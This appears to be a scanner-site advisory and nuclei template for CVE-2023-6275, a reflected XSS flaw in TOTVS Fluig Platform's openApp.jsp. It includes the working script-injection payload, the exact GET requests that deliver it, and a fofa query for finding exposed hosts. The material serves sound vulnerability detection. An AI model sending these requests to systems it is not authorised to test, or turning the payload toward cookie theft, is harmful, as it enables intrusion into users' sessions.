TOTVS Fluig Platform - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the redirectUrl and user parameters, potentially stealing user session cookies or redirecting users to malicious sites.

Fix

Update TOTVS Fluig Platform to a version newer than 1.8.1 that properly sanitizes user input.

How to confirm it

Send: GET {{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET {{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>" and "fluig://" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6275 -u <target>

The full check

id: CVE-2023-6275

info:
  name: TOTVS Fluig Platform - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the redirectUrl and user parameters, potentially stealing user session cookies or redirecting users to malicious sites.
  remediation: |
    Update TOTVS Fluig Platform to a version newer than 1.8.1 that properly sanitizes user input.
  reference:
    - https://github.com/erickfernandox/CVE-2023-6275
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6275
    - https://vuldb.com/?id.246104
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6275
    cwe-id: CWE-79
    epss-score: 0.02379
    epss-percentile: 0.8402
    cpe: cpe:2.3:a:totvs:fluig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totvs
    product: fluig
    fofa-query: app="TOTVS-Fluig"
  tags: cve,cve2023,xss,fluig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
      - "{{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'fluig://'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from